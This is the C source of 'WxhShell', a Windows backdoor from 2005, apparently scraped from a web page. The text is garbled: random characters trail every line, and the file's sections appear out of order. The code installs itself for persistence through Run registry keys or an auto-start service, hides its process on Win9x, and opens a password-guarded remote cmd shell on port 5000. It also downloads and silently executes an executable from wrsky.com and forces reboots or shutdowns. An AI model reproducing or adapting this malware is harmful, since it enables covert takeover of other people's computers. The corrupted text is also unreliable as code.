    if(Boot(SHUTDOWN)) gD)M7`4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s3A(`heoq  
    else { 9U<WR*H  
    closesocket(wsh); [VXQ&  
    ExitThread(0); Ao ?b1VYy/  
    } @ xo8"kl  
    break; 'L O3[G{  
    } -S]ercar  
  // 获取shell k0j4P^d  
  case 's': { $=\=80u/  
    CmdShell(wsh); $rj:K)P  
    closesocket(wsh); 2i6=g<   
    ExitThread(0); -'miM ~kG[  
    break; %_:L_VD@  
  } 19GF%+L ,  
  // 退出 ! U@ETo  
  case 'x': { NqF*hat  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KtAEM;g  
    CloseIt(wsh); *bpN!2  
    break; Zex~ $r  
    }  LkYcFD  
  // 离开 51eZfJB  
  case 'q': { -n"f>c_{>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oO[eer_S-  
    closesocket(wsh); M/W9"N[ta  
    WSACleanup(); XO?WxL9k]  
    exit(1); -]KgLgJ  
    break; HkRvcX 5  
        } 5,XEN$^  
  } )OQm,5F1  
  } j^#\km B  
WVQHb3Pe0  
  // 提示信息 Iw[zN[oz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DmgDhNXKq  
} tlO=>  
  } {@Lun6\  
4S>#>(n7=  
  return; w;$elXP|  
} pR0 !bgC  
p Cx_[#DrP  
// shell模块句柄 }L Q%%  
int CmdShell(SOCKET sock) ]+pE1-p\  
{ ~,s'-  
STARTUPINFO si; ^0_>  
ZeroMemory(&si,sizeof(si)); \l0!si  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s3ASA.*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^`xS| Sq1D  
PROCESS_INFORMATION ProcessInfo;  -+qg  
char cmdline[]="cmd"; ok,O/|E}?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }@$CS5w  
  return 0; >nehyo:#  
} 5R.jhYAj  
#%GBopv  
// 自身启动模式 kQ\l7xd  
int StartFromService(void) o\tw)_ >  
{ s!gVY!0  
typedef struct E}w5.1  
{ ;gHcDnH)  
  DWORD ExitStatus; e"EGqn&!  
  DWORD PebBaseAddress; 'Eia=@  
  DWORD AffinityMask; DfkGNBY  
  DWORD BasePriority; @CR<&^s5V  
  ULONG UniqueProcessId; #l) o<Z  
  ULONG InheritedFromUniqueProcessId; Pj56,qd>s  
}   PROCESS_BASIC_INFORMATION; - ]We|{  
}n^}%GB  
PROCNTQSIP NtQueryInformationProcess; _,F\%}  
MftaT5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yhK9rcJq6}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -=:tlH n  
=dKk #*  
  HANDLE             hProcess; Y/mfBkh  
  PROCESS_BASIC_INFORMATION pbi; k<fR)o  
[4;_8-[Nv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B2BG*xa  
  if(NULL == hInst ) return 0; *.$ov<E.  
&j'k9C2p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kMzDmgoxNg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,{"K^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .,thdqOO  
vcy(!r  
  if (!NtQueryInformationProcess) return 0; bjj F{T  
U b\&k[F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +=L+35M  
  if(!hProcess) return 0; 9*"K+t:  
Q.8^F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mT j  
d`?EEO  
  CloseHandle(hProcess); $WE _aNfja  
%0815 5M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <T'fJcR  
if(hProcess==NULL) return 0; GXv2B%i8  
h52+f  
HMODULE hMod; Pa; *%7  
char procName[255]; Cx) N;x  
unsigned long cbNeeded; h4slQq~K  
)=N.z6?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x)q$.u+  
~Wm'~y>  
  CloseHandle(hProcess); g*9&3ov  
8z&/{:Z@pH  
if(strstr(procName,"services")) return 1; // 以服务启动 ?q'r9Ehe  
Jx&+e,OST  
  return 0; // 注册表启动 ]/R>nT  
} _ -ec(w~/  
8,CL>*A  
// 主模块 [ifQLsHA  
int StartWxhshell(LPSTR lpCmdLine) phwq#AxQ   
{ "VsS-b^P  
  SOCKET wsl; 7` XECIh  
BOOL val=TRUE; at3YL[,[Z  
  int port=0; ,=%c e  
  struct sockaddr_in door; a  ?wg~|g  
,*p(q/kJh~  
  if(wscfg.ws_autoins) Install(); Y k"yup@3  
% e70*;  
port=atoi(lpCmdLine); b\t@vMJ  
"bjbJC&T  
if(port<=0) port=wscfg.ws_port; >R/^[([;]  
O_SM!!,  
  WSADATA data; %#]/ ]B/4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ujly\ix`  
aUBu"P$J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =gB{(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ! }awlv;  
  door.sin_family = AF_INET; 7nPm{=B G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~-(X\:z}  
  door.sin_port = htons(port); ><@& &u.  
0*u X2*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l %xeM !}  
closesocket(wsl); stCFLYox  
return 1; A5dH*< }  
} 'V Y\ut  
=u&NdMy  
  if(listen(wsl,2) == INVALID_SOCKET) { :Z5kiEwYM  
closesocket(wsl); w?p8)Q6m  
return 1; gkv,Om  
} 'seuO!5  
  Wxhshell(wsl); (pQ$<c  
  WSACleanup(); ^m^,:]I0P  
'8Lc}-M4  
return 0; &sPu 3.p  
&[}5yos r  
} YWa9|&m1  
Jb z>j\  
// 以NT服务方式启动 {S5D~A*a+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n %P,"V  
{ Rv+p4RgA  
DWORD   status = 0; ?x =Sm|Ej  
  DWORD   specificError = 0xfffffff; Fd0\T#k  
^TY8,qDA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 51M'x_8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v{>9&o.J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $S!WW|9j.  
  serviceStatus.dwWin32ExitCode     = 0; #*K!@X  
  serviceStatus.dwServiceSpecificExitCode = 0; X<$8'/p r  
  serviceStatus.dwCheckPoint       = 0; : ]JsUb{YK  
  serviceStatus.dwWaitHint       = 0; \"@`Rf   
>za=v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L`Q9-#Y  
  if (hServiceStatusHandle==0) return; `r8bBzr@%  
8 K>Ejr  
status = GetLastError(); ,}42]%$ G  
  if (status!=NO_ERROR) 9]/j u  
{ W.U|mNJ$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \~q cYp  
    serviceStatus.dwCheckPoint       = 0; o!t1EPJE*  
    serviceStatus.dwWaitHint       = 0; -wV0Nv(V8  
    serviceStatus.dwWin32ExitCode     = status; 38q0iAH  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'r?OzFtxh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fYv{M;  
    return; ku=XPmZ.\  
  } qxW 2q8QHo  
bYH! P/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [Z?vC  
  serviceStatus.dwCheckPoint       = 0; ./;*L D  
  serviceStatus.dwWaitHint       = 0; -Qco4>Z8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |k9A*7I  
} s97L/iH  
_`Sz}Yk  
// 处理NT服务事件,比如:启动、停止 #3u471bp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -x1O|q69  
{ C!" .[3  
switch(fdwControl) 6ypqnOTr  
{ V_7xXuM/  
case SERVICE_CONTROL_STOP: :`P;(h  
  serviceStatus.dwWin32ExitCode = 0; tlFc+3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IsCJdgG  
  serviceStatus.dwCheckPoint   = 0; EMejvPnZO  
  serviceStatus.dwWaitHint     = 0; P X<,/6gz  
  { P%Ux-0&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %z0@4G q  
  } :O}<Q  
  return; XUT\nN-N  
case SERVICE_CONTROL_PAUSE: L:F:ZOM6`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jNNl5.  
  break; t| zLR  
case SERVICE_CONTROL_CONTINUE: wbId}!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WH$ Ls('  
  break; oYN# T=Xi  
case SERVICE_CONTROL_INTERROGATE: 62LQUl]<  
  break; xX.Ox  
}; Mhw\i&*U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Lpy`He  
} Zb#  
\:?H_^^ d  
// 标准应用程序主函数 G1'w50Yu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a[8_ O-   
{ VU*{E  
SVo`p;2r  
// 获取操作系统版本 T't^pO-`  
OsIsNt=GetOsVer(); v+=_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J=U7m@))Y#  
K`2a{`  
  // 从命令行安装 ?Xo9,4V1  
  if(strpbrk(lpCmdLine,"iI")) Install(); X|wXTecg*|  
#Y*AGxk  
  // 下载执行文件 F'#e]/V1  
if(wscfg.ws_downexe) { ;mb 6i_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) afc?a-~Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7_/.a9$G  
} &[KFCn  
-}juj;IVv  
if(!OsIsNt) { GOwd=]e  
// 如果时win9x,隐藏进程并且设置为注册表启动 S[" &8Fy  
HideProc(); BWX&5""  
StartWxhshell(lpCmdLine); 3r{'@Y =)Y  
} es(vWf'  
else W:>RstbnMG  
  if(StartFromService()) %]Nz54!  
  // 以服务方式启动 rd 1&?X  
  StartServiceCtrlDispatcher(DispatchTable); ( |5g`JDG  
else q#Qr@Jf  
  // 普通方式启动 GW{Nc !)  
  StartWxhshell(lpCmdLine); TniZ!ud  
Rb~Kyy$  
return 0; X>|.BvY|  
} ]3QQ"HLcp  
_L!"3  
D\V}Eo';6  
Krq^|DY  
=========================================== .+B)@?  
g%=\Wiit]  
j4}aK2[<  
t7A.b~#  
I"JT3[*s  
ESASsRzk  
" $@&bK2@.(  
($W9 ?  
#include <stdio.h> ccm <rZ7  
#include <string.h> Ruk6+U  
#include <windows.h> SqTm/ t  
#include <winsock2.h> 3nK'yC  
#include <winsvc.h> ); |~4#  
#include <urlmon.h> [bT@Y:X@`  
0 q3<RX>M%  
#pragma comment (lib, "Ws2_32.lib") b8v$*{  
#pragma comment (lib, "urlmon.lib") I@L-%#@R1  
6OTxtk  
#define MAX_USER   100 // 最大客户端连接数 #lLL5ji  
#define BUF_SOCK   200 // sock buffer Da@tpKU)p  
#define KEY_BUFF   255 // 输入 buffer H_8@J  
G(0 bulq  
#define REBOOT     0   // 重启 j^!J: Bj  
#define SHUTDOWN   1   // 关机 ) L{Tn 8  
{U(h]'  
#define DEF_PORT   5000 // 监听端口 w pCS]2  
(x$k\H  
#define REG_LEN     16   // 注册表键长度 ?I@3`?'  
#define SVC_LEN     80   // NT服务名长度 wc,y+C#V  
In;z\"NN4  
// 从dll定义API uN\9c Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H*\ }W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'b^:"\t'Rh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t=e0z^2i+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2iG(v._x  
D@JHi'F  
// wxhshell配置信息 6|dUz*Pr|\  
struct WSCFG { Xs`:XATb/  
  int ws_port;         // 监听端口 ev guw*u  
  char ws_passstr[REG_LEN]; // 口令 4rzioIk  
  int ws_autoins;       // 安装标记, 1=yes 0=no 462ae` 6l  
  char ws_regname[REG_LEN]; // 注册表键名 *r% mqAx(  
  char ws_svcname[REG_LEN]; // 服务名 <s7{6n')  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !eTS PM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +`4}bc ,G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b{dzbmak  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OVh/t# On  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Uq+ _#{2(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]Ns&`Yn{  
Vut.oB$ ~  
}; R{rV1j#@!a  
a "1$z`ln  
// default Wxhshell configuration s]&y\Z  
struct WSCFG wscfg={DEF_PORT, %!$-N!e  
    "xuhuanlingzhe", +|8Lt[^ux  
    1, 2b"5/$|6  
    "Wxhshell", bT*4Qd4W  
    "Wxhshell", nRE}F5k  
            "WxhShell Service", 1aDDl-8,  
    "Wrsky Windows CmdShell Service", yR$_$N+E  
    "Please Input Your Password: ", ( gFA? aD<  
  1, &sNID4FR  
  "http://www.wrsky.com/wxhshell.exe", jI V? p  
  "Wxhshell.exe" z g j35  
    }; z$V8<&q  
O``MUb b  
// 消息定义模块 =!c+|X`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J-ZM1HoB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gdZVc9 _  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <&Uk!1Jd  
char *msg_ws_ext="\n\rExit."; GJuD :  
char *msg_ws_end="\n\rQuit."; [uY 2N h  
char *msg_ws_boot="\n\rReboot..."; 7r<>^j'  
char *msg_ws_poff="\n\rShutdown..."; w${=dW@K  
char *msg_ws_down="\n\rSave to "; C/vLEpP{(/  
jlP7'xt1%  
char *msg_ws_err="\n\rErr!"; ,q HG1#^  
char *msg_ws_ok="\n\rOK!"; ).S<{zm7  
Zll^tF#  
char ExeFile[MAX_PATH]; zn x_p /V  
int nUser = 0; 0X-2).n u  
HANDLE handles[MAX_USER]; \O?B9_  
int OsIsNt; stG&(M  
&sgwY  
SERVICE_STATUS       serviceStatus; *u>\&`h=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3.H-G~  
;E"mB4/)  
// 函数声明 M0e|G.S&_  
int Install(void); >y~_Hh(TSL  
int Uninstall(void); E!<$J^  
int DownloadFile(char *sURL, SOCKET wsh); 9C 05  
int Boot(int flag); //,'oh~W  
void HideProc(void); ~.lH)  
int GetOsVer(void); Z4-dF;7  
int Wxhshell(SOCKET wsl); DmrfD28j~F  
void TalkWithClient(void *cs); kC5,yj  
int CmdShell(SOCKET sock); 79x9<,a)  
int StartFromService(void); 7x]nY.\  
int StartWxhshell(LPSTR lpCmdLine); {4 d$]o0V  
%Eh%mMb^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u_"h/)C'H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -YyH"f   
r97[!y1gt  
// 数据结构和表定义 3ky+qoe  
SERVICE_TABLE_ENTRY DispatchTable[] = l1qwT0*6>  
{ B3t>M) 9  
{wscfg.ws_svcname, NTServiceMain}, 1Qu,]i`  
{NULL, NULL} ;wxt<   
}; "6.p=te  
$I36>  
// 自我安装 yy1r,dw  
int Install(void) <3x#(ms!!  
{ PZR%8 m}]u  
  char svExeFile[MAX_PATH]; @R&D["!  
  HKEY key; |Z^g\l.j{  
  strcpy(svExeFile,ExeFile); ` W>B8  
E|;5Z*  
// 如果是win9x系统,修改注册表设为自启动 &RrQ()<as  
if(!OsIsNt) { 5O W(] y|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tQaCNS$=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); piotd,  
  RegCloseKey(key); =M#?*e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -b}S3<15@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X4G55]D$>  
  RegCloseKey(key); %Nl(Y@dD*  
  return 0; @e0skc  
    } Z^6(&Rh  
  } P$>kBW53  
} walRqlo@  
else { UeMe4$m  
=hOa 0X=  
// 如果是NT以上系统,安装为系统服务 ZC*d^n]x.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I<K/d  
if (schSCManager!=0) `>EvT7u  
{ 5 hadA>d  
  SC_HANDLE schService = CreateService Hk*cO;c  
  ( }n%R l\p  
  schSCManager, m Ap|?n/K  
  wscfg.ws_svcname, n{r#K_  
  wscfg.ws_svcdisp, $ ].k6,%{p  
  SERVICE_ALL_ACCESS, G)Bq?=P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6CmFmc,  
  SERVICE_AUTO_START, # pB:LPEsK  
  SERVICE_ERROR_NORMAL, = DTOI  
  svExeFile, e=UVsYNx  
  NULL, cloSJmUlQ  
  NULL, e@-Mlq)  
  NULL, {/xs9.8:JX  
  NULL, TK/'=8  
  NULL W.D3$  
  ); `A _8nW)  
  if (schService!=0) ,Z7Z!.TY!  
  { s [F' h-y  
  CloseServiceHandle(schService); _xg VuJ   
  CloseServiceHandle(schSCManager); ,1;8DfVZV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Cg"2~  
  strcat(svExeFile,wscfg.ws_svcname); G=5t5[KC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +Z<Q^5w@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j~*Z7iu  
  RegCloseKey(key); e=z_+gVm  
  return 0; x0h3jw+6  
    } {3(.c, q@  
  } Z;~[@7`  
  CloseServiceHandle(schSCManager); 9Y%?)t.2  
} zHOE.V2Qo  
} HU[nN*  
ou^nzm  
return 1; n_n|^4 w  
} @IY?DO  
xhkWKB/7  
// 自我卸载 %"[dGB$S  
int Uninstall(void) X/8iJ-KB  
{ ?wf+{x-dPP  
  HKEY key; _6UAeZ*M  
<I%9O:R  
if(!OsIsNt) { +aw>p_\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wV[V#KpX8-  
  RegDeleteValue(key,wscfg.ws_regname); km\ld&d]$  
  RegCloseKey(key); .e2A*9,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %;\G@q_p{  
  RegDeleteValue(key,wscfg.ws_regname); :6j :9lYL2  
  RegCloseKey(key); *Z]WaDw  
  return 0; /4 LR0`A'  
  } W _,;eyo  
} ,ANK3n\  
} }t51U0b%  
else { XCIa2Syo  
+Sd,l>8\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G(0y|Eq  
if (schSCManager!=0) i`KZ,   
{ IbJ[Og^Qyu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5nx<,-N*BP  
  if (schService!=0) /uE^H%9h  
  { [)SR $/A  
  if(DeleteService(schService)!=0) { ^[,s_34V  
  CloseServiceHandle(schService); ~x4B/zW?  
  CloseServiceHandle(schSCManager); oCKM5AVWsv  
  return 0; Hg9.<|+yo  
  } _0W;)v  
  CloseServiceHandle(schService); i ,IM?+4  
  } KHlIK`r  
  CloseServiceHandle(schSCManager); lke~>0;  
} TA0D{  
} lg onR  
Rz zFhU#r  
return 1; 9S1Ti6A  
} ?YO =J  
%]<RRH.w  
// 从指定url下载文件 \5[D7}  
int DownloadFile(char *sURL, SOCKET wsh) D=~B7b:  
{ 1U7,X6=~  
  HRESULT hr; (eRKR2% q  
char seps[]= "/"; WR a+zii,  
char *token; Itr7lv'5xx  
char *file; e*P=2*]M  
char myURL[MAX_PATH]; XW?ybH6  
char myFILE[MAX_PATH]; P*SCHe'  
(H8C\%g:  
strcpy(myURL,sURL); 1O9p YW5J  
  token=strtok(myURL,seps); qqe2,X?  
  while(token!=NULL) o3F|#op  
  { ``|gcG  
    file=token; o'eI(@{F=  
  token=strtok(NULL,seps); G;Wkm|  
  } 7V=MRf&xQ  
EDHg'q  
GetCurrentDirectory(MAX_PATH,myFILE); F:;!) H*  
strcat(myFILE, "\\"); w*:GM8=6  
strcat(myFILE, file); afY_9g!\  
  send(wsh,myFILE,strlen(myFILE),0); 8Z dUPW\e  
send(wsh,"...",3,0); '(*&Ax  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >:jM}*dnL  
  if(hr==S_OK) -MrtliepW*  
return 0; E q=wdI  
else 7 DY WdDX  
return 1; v_z..-7Dq+  
oQ%\[s$  
} g8I!E$  
*qPdZ   
// 系统电源模块 M ?Ndy*]  
int Boot(int flag) `*NO_ K  
{ PUP"ky^q"  
  HANDLE hToken; P{S\pWZkk  
  TOKEN_PRIVILEGES tkp; K$GRJ  
^qeY9O  
  if(OsIsNt) { (T|TEt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i*S|qX7``  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CGC-"A/W  
    tkp.PrivilegeCount = 1; pcy<2UV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X>Al:?`}N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SOp=~z  
if(flag==REBOOT) { }!%JYG^!D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~H^'al2PK  
  return 0; > -y&$1  
} :reP} Da7q  
else { 3`A>j"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |(V?,^b^ro  
  return 0; &~~aAg  
} fB~O |g  
  } ebN(05ZV  
  else { wjTNO0hj  
if(flag==REBOOT) { :zdEq" )v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2W^B{ZS;  
  return 0; HDmx@E.@  
} M18qa,fK{  
else { +Edzjf~Tt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /gz:zThf{  
  return 0; #?{qlgv<p  
} MA\m[h]  
} =)I"wR"v$  
90/vJN  
return 1; S!;L F4VA  
} B<|VeU  
mC i[Ps  
// win9x进程隐藏模块 .u1X+P7  
void HideProc(void) ]~-*hOcQ4  
{ _1^8xFe2  
'>j<yaD'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v6s\Z\v)Q`  
  if ( hKernel != NULL ) :qKF58W  
  { } q%jO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2_;]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HH)"]E5  
    FreeLibrary(hKernel); d0(Cn}m"c  
  } mxQR4"]jY  
c $0_R;4/  
return; P+<BOG|m  
} ^P`NMSw  
wV\%R,bZj  
// 获取操作系统版本 iF!mV5#  
int GetOsVer(void) Sd},_Kh  
{ /X4yB"J>  
  OSVERSIONINFO winfo; zfhTc=(/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .K IVf8)"  
  GetVersionEx(&winfo); =/FF1jQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  gH %y  
  return 1; w |_GV}#_  
  else \6sqyWI %  
  return 0; zZ%DtxUoU.  
} }A]BpSEP  
,c>N}*6h=W  
// 客户端句柄模块 `Da+75 f6v  
int Wxhshell(SOCKET wsl) '\`6ot8  
{ \PpXL*.  
  SOCKET wsh; XCDSmZ  
  struct sockaddr_in client; 9tn;L"#&N  
  DWORD myID; #G_F`&  
Sw)i1S9  
  while(nUser<MAX_USER) ncv7t|ZN  
{ !z"Nv1!~|  
  int nSize=sizeof(client); `)32&\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BQ#3QL't  
  if(wsh==INVALID_SOCKET) return 1; AUfS-  
#EbGL])F}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s5l3V2k  
if(handles[nUser]==0) Jf7frzw  
  closesocket(wsh); [*8Y'KX <  
else 7^$)VBQ/  
  nUser++; '0|o`qoLzA  
  } "PMQyzl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z}ElpT[(;  
0DNU,u  
  return 0; #^6^  
} -Ep!- a  
Z%}4bJ  
// 关闭 socket B0d%c&N${  
void CloseIt(SOCKET wsh) G @g h#[b  
{ jd 1jG2=f  
closesocket(wsh); x4m 5JDC  
nUser--; O:Va&Cyj*  
ExitThread(0); 0GZq`a7[  
} DAdYg0efex  
M;+IZr Wkl  
// 客户端请求句柄 fkjeR B  
void TalkWithClient(void *cs) nnwJ YEi  
{ W|MWXs5'1*  
hN   
  SOCKET wsh=(SOCKET)cs; - v]Qhf&>  
  char pwd[SVC_LEN]; )%mg(O8uL  
  char cmd[KEY_BUFF]; hQRL,?  
char chr[1]; 3JO]f5  
int i,j; }aF  
jk*tL8?i  
  while (nUser < MAX_USER) { w{!(r  
ExVDkt0  
if(wscfg.ws_passstr) { tx"LeZZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x)SralWb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m:uPEpcU  
  //ZeroMemory(pwd,KEY_BUFF); W @.Ji B  
      i=0; j8++R&1f]  
  while(i<SVC_LEN) { f'X9HU{Cz  
g # S0V  
  // 设置超时 ^s&W>hTX:  
  fd_set FdRead; u%3i0BajY  
  struct timeval TimeOut; 5\bJR0I@  
  FD_ZERO(&FdRead); ^C/  
  FD_SET(wsh,&FdRead); ]kD"&&HV  
  TimeOut.tv_sec=8; jV O{$j  
  TimeOut.tv_usec=0; dRW$T5dac  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nv0#~UgE#a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l30Y8t~d  
nirDMw[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1vnYogL   
  pwd=chr[0]; , sjh^-;  
  if(chr[0]==0xd || chr[0]==0xa) { thc <xxRP  
  pwd=0; _Mk7U@j+9  
  break; +D&Pp0xe  
  } [Wi 1|]X"G  
  i++; IXpc,l `  
    } jq-l5})h  
eF~dQ4RZ  
  // 如果是非法用户,关闭 socket xwi\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VwyVEZt  
} yVX8e I  
D:"{g|nW}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GIyF81KR 3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ),(V6@Z?  
/(hUfYm0  
while(1) { iEm ?  
;"kaF!  
  ZeroMemory(cmd,KEY_BUFF); <lE?,jl  
XJ1=m   
      // 自动支持客户端 telnet标准   O hVs#^  
  j=0; CrC =A=e  
  while(j<KEY_BUFF) { dY(;]sxFr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qkcjr]#^$  
  cmd[j]=chr[0]; );FS7R  
  if(chr[0]==0xa || chr[0]==0xd) { ]p7jhd=  
  cmd[j]=0; T/pqSmVpM  
  break; ^v&D;<&R  
  } 5] 5 KB;  
  j++; =Yz'D|=t  
    } 5T@aCC@$h  
?QZ"JX])  
  // 下载文件 E&`Nh5JfC  
  if(strstr(cmd,"http://")) { 1oiRWRe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OsqN B'X  
  if(DownloadFile(cmd,wsh)) ]QVNn?PA8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U75Jp%bL  
  else ]bZ(HC?KZr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rHjq1-t  
  } n/~A`%E@  
  else { EV pi^>M  
S35~Cp  
    switch(cmd[0]) { .8(OT./  
  {vEOn-(7  
  // 帮助 m_+sR!\H8  
  case '?': { UCW V2Mu  
